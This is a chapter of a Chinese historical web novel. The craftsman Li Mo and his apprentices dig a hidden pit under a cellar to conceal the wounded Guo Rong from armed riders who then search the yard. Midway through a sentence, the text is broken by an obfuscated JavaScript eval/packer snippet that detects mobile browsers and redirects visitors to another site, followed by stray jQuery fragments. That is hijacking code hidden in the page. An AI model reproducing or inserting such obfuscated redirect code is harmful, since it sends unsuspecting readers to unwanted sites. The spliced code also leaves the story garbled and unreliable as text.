郭荣说完那句话,院子里静了几息。
阿钝的弩还举着,但手指从扳机上松开了。他盯着郭荣的脸,那张脸上有新伤,有泥,有血。眼睛里的血丝比昨天更多,像是几天没睡的样子。
“藏起来?”阿钝问。
郭荣点了点头。他往里走了一步,踉跄了一下,扶住旁边的墙。
阿钝这才看清,他的腿上有伤。裤子撕开一道口子,血已经干了,黑红黑红的,糊在腿上。
阿钝跑过去扶他。
郭荣摆了摆手。
“没事。”他说,“皮外伤。”
阿钝扶着他走到那棵树底下,让他靠着树干坐下。
狗子从屋里跑出来,看见郭荣,愣住了。他站在那儿,看着郭荣脸上的伤,看着腿上的血,手里的空包袱抱得紧紧的。
“郭公子……”他的声音在抖。
郭荣抬起头,看着他,笑了一下。
“狗子,”他说,“你写的字呢?给我看看。”
狗子愣了一下。他没想到这时候郭荣会说这个。
他从怀里摸出那个本子,递过去。
郭荣接过来,翻开。上面是歪歪扭扭的字,一笔一划,写得很用力。
**郭公子。夏天。回来。狗子写的。**
他看了很久。
然后他把本子还给狗子。
“好看。”他说。
狗子的眼眶红了。他抱着那个本子,站在那儿,不知道该说什么。
---
李默从屋里出来,看见郭荣靠着树坐着,脸上的表情没变,但脚步快了一点。
他走过来,蹲下,看了看郭荣腿上的伤。
“怎么弄的?”
郭荣说:“追的时候,从马上摔的。”
李默没说话。他伸手按了按伤口周围,郭荣的眉头动了一下,没喊出来。
“骨头没事。”李默说,“皮肉伤,得包。”
他转过头,看着阿钝。
“去叫阿箬,拿药。”
阿钝跑去找阿箬。
---
阿箬过来的时候,手里拿着刀。
不是要砍人,是刀上有她刚磨出来的光。她蹲下来,把刀放在一边,开始处理郭荣腿上的伤。
剪开裤子,露出伤口。一道口子,挺深,但没伤到骨头。血已经凝住了,周围肿起来。
阿箬看了一眼,抬起头,看着郭荣。
“疼吗?”
郭荣说:“你说呢?”
阿箬没说话。她从怀里摸出一小包药粉,洒在伤口上。郭荣的身子绷了一下,咬着牙,没出声。
阿箬用布条给他包扎,一圈一圈,缠得很紧。
包完了,她站起来,把刀收进刀鞘。
“三天别动。”她说。
郭荣看着她。
“三天?”
阿箬点了点头。
郭荣没说话。他看着北边的方向,看着那堵墙,看着墙外面那个看不见的地方。
三天。
他不知道能不能撑三天。
---
孙二从外面回来,脸色比昨天还白。
他跑到李默面前,压低声音。
“动了。”他说,“他们往这边来了。天没亮就开始动。现在离城不到二十里。”
李默的手攥紧了。
“多少人?”
孙二说:“两三百。有马,有刀。不是来试探的。”
李默没说话。
他转过头,看着靠着树坐着的郭荣。
郭荣也看着他。
两个人对视了一会儿。
郭荣先开口。
“李师傅,”他说,“把我交出去,你们能活。”
李默没说话。
郭荣继续说:
“他们要的是我。抓到我,就不会动你们。”
阿钝站在旁边,听着这些话。他的手攥紧了那把弩。
他想起郭荣刚才说的那句话。
“帮我藏起来。”
现在郭荣又说,把他交出去。
他看着郭荣的脸。那张脸上有伤,有泥,有血,但眼睛里的光没变。
“郭公子,”阿钝说,“你说过,你帮我们守着那边。现在轮到我们了。”
郭荣转过头,看着他。
阿钝说:“我们藏你。”
---
藏哪儿?
这是个问题。
院子就这么大。地窖能藏孩子,但藏不住一个大人。那些孩子进去,挤得满满当当,再加一个人,喘气都困难。
那台机器后面?不行,一眼就能看见。
柴房?草垛?都不行。那些人进来,肯定要翻。
李默站在院子里,看着四周,脑子里飞快地转。
阿福站在旁边,忽然开口。
“地窖下面,还有一层吗?”
所有人都看着他。
阿福说:“我以前看过一本书。讲怎么藏东西的。挖两层,上面一层放粮食,下面一层藏人。上面的人进来,翻完粮食,以为翻到底了,就走了。”
李默看着他。
阿福的脸红了。
“我就是……随便说说……”
李默没说话。他走到柴房后面,蹲下来,看着那个地窖口。
挖两层。
他想起陈小锤画的那张图。地窖的深度,他记得。下面还有空间。
他站起来,看着陈小锤。
“小锤,地窖底下,还能往下挖吗?”
陈小锤走过来,蹲下看了看。
“能。”他说,“再往下挖三尺,没问题。但得有人挖,得快。”
李默点了点头。
他转过身,看着阿钝,看着郭荣,看着院子里这些人。
“挖。”他说。
---
阿钝第一个跳下去。
地窖里黑漆漆的,什么也看不见。他摸到墙角的锄头,那是之前挖地窖剩的。
他开始挖。
土是松的,挖起来不算难。但地方小,只能一个人蹲着挖,另一个人往外运土。
铁头在上面接着,把土一筐一筐运出去,倒在柴房后面的空地上。
狗子蹲在旁边,帮着递筐。他的手在抖,但没说话。
石头蹲在另一边,拿着本子,借着月光在记。
**地窖下面挖洞。阿钝哥在挖。铁头哥运土。狗子哥递筐。我在记。**
他停了一下,又写:
**郭公子藏下面。不能让人找到。**
---
外面,天快亮了。
李默站在院子里,听着远处的动静。
孙二又出去了。他说这次要靠近一点,看清楚他们到哪儿了。
阿箬站在门口,手按着刀。
周老倔和陈小锤守着那台机器。棚子已经拆了,机器被烂木头和草席盖住,看起来就像一堆垃圾。
那些孩子都醒了,挤在屋里,不敢出声。丫丫躲在铁头的被子里,攥着被角,嘴里念叨着什么。
阿福站在李默旁边,手里握着那个本子。
“李师傅,”他小声问,“能挖完吗?”
李默没回答。
他看着柴房后面的方向。那里,阿钝还在挖。
不知道。
但得挖。
---
郭荣靠着树坐着,腿上的伤还在疼。他看着那些人忙活,看着阿钝在地窖里挖,看着铁头一筐一筐运土,看着狗子蹲在旁边递筐。
他忽然想起第一次来将作监的时候。
那时候他站在那堵墙上,看着那台机器。他想着这东西能跑多快,能运多少兵,能改变多少事。
现在他坐在这儿,腿上带着伤,等着被人藏进地底下。
那些人,正在为他挖洞。
他低下头,看着自己的手。
手上有血,有泥,有伤。
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403933|200419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把手握紧了。
---
阿钝挖了两个时辰,手磨破了,肩膀酸得抬不起来。但他没停。
三尺。
师父说的,三尺。
他挖一锄,量一下。再挖一锄,再量一下。
铁头在上面喊:“阿钝哥,够了没?”
阿钝说:“还差一点。”
他继续挖。
又一锄。又一锄。
不知道过了多久,他挖到了。
三尺。
他放下锄头,爬上去,站在地窖里,看着那个刚挖出来的洞。
不大,只能蹲一个人。但蹲一个人,够了。
他爬出地窖,跑到李默面前。
“师父,挖好了。”
李默看着他。阿钝满脸是土,手上有血,眼睛红红的,但亮得很。
李默点了点头。
“把他放下去。”他说。
---
郭荣被扶着进了地窖。
他腿上有伤,走不快。阿钝扶着他,一步一步往下走。
地窖里黑漆漆的,什么也看不见。阿钝摸到那个洞,让郭荣蹲进去。
郭荣蹲下去,刚好能蹲住。
“阿钝。”他说。
阿钝在黑暗里看着他,只能看见一个模糊的影子。
“嗯。”
郭荣说:“谢谢你。”
阿钝没说话。
他从怀里摸出那把弩,塞进郭荣手里。
“拿着。”他说。
郭荣愣了一下。
阿钝说:“三十步能穿甲。”
他爬出去了。
郭荣蹲在黑暗里,握着那把弩。弩是凉的,木头做的,上面有阿钝手上的温度。
他听见上面有动静。木板被盖上,什么东西压上去。
然后什么都听不见了。
只有黑暗,和手里那把弩。
---
阿钝爬出地窖,把木板盖好。铁头搬了几袋粮食压在上面。
李默走过来,看了看。
“看不出来。”他说。
阿钝点了点头。
他站在那里,看着那些粮食,看着那块木板,看着地窖口。
郭公子在下面。
他忽然想起狗子那句话。
“他还没看我写的字呢。”
他会的。
等这事过去,他会让郭公子好好看。
---
远处传来马蹄声。
很多。
阿钝抬起头,往门口看。
阿箬的刀已经出鞘。
那些孩子挤在屋里,不敢出声。
丫丫躲在被子里,闭着眼睛,嘴里还在念叨。
李默站在院子中央,看着那扇门。
门被推开了。
一群人涌进来。
穿着百姓的衣服,骑着军马,手里拿着刀。
为首的人看了一圈,目光落在李默身上。
“李师傅?”他问。
李默没说话。
那人笑了一下。
“跟我们走一趟吧。”他说,“有人想见你。”
李默看着他。
“谁?”
那人说:“去了就知道了。”
阿钝的手攥紧了。
阿箬的刀握得更紧。
那些人在院子里散开,开始搜。
柴房,屋子,那堆烂木头后面——
一个人走到地窖口,踢了踢那些粮食。
阿钝的心跳停了一拍。
那人看了看,没发现什么,转身走了。
阿钝慢慢呼出一口气。
为首的那个人看着李默,等了一会儿。
“不走?”他问。
李默说:“不走。”
那人点了点头。
“那就别怪我们了。”
他挥了挥手。
那些人开始动手。
---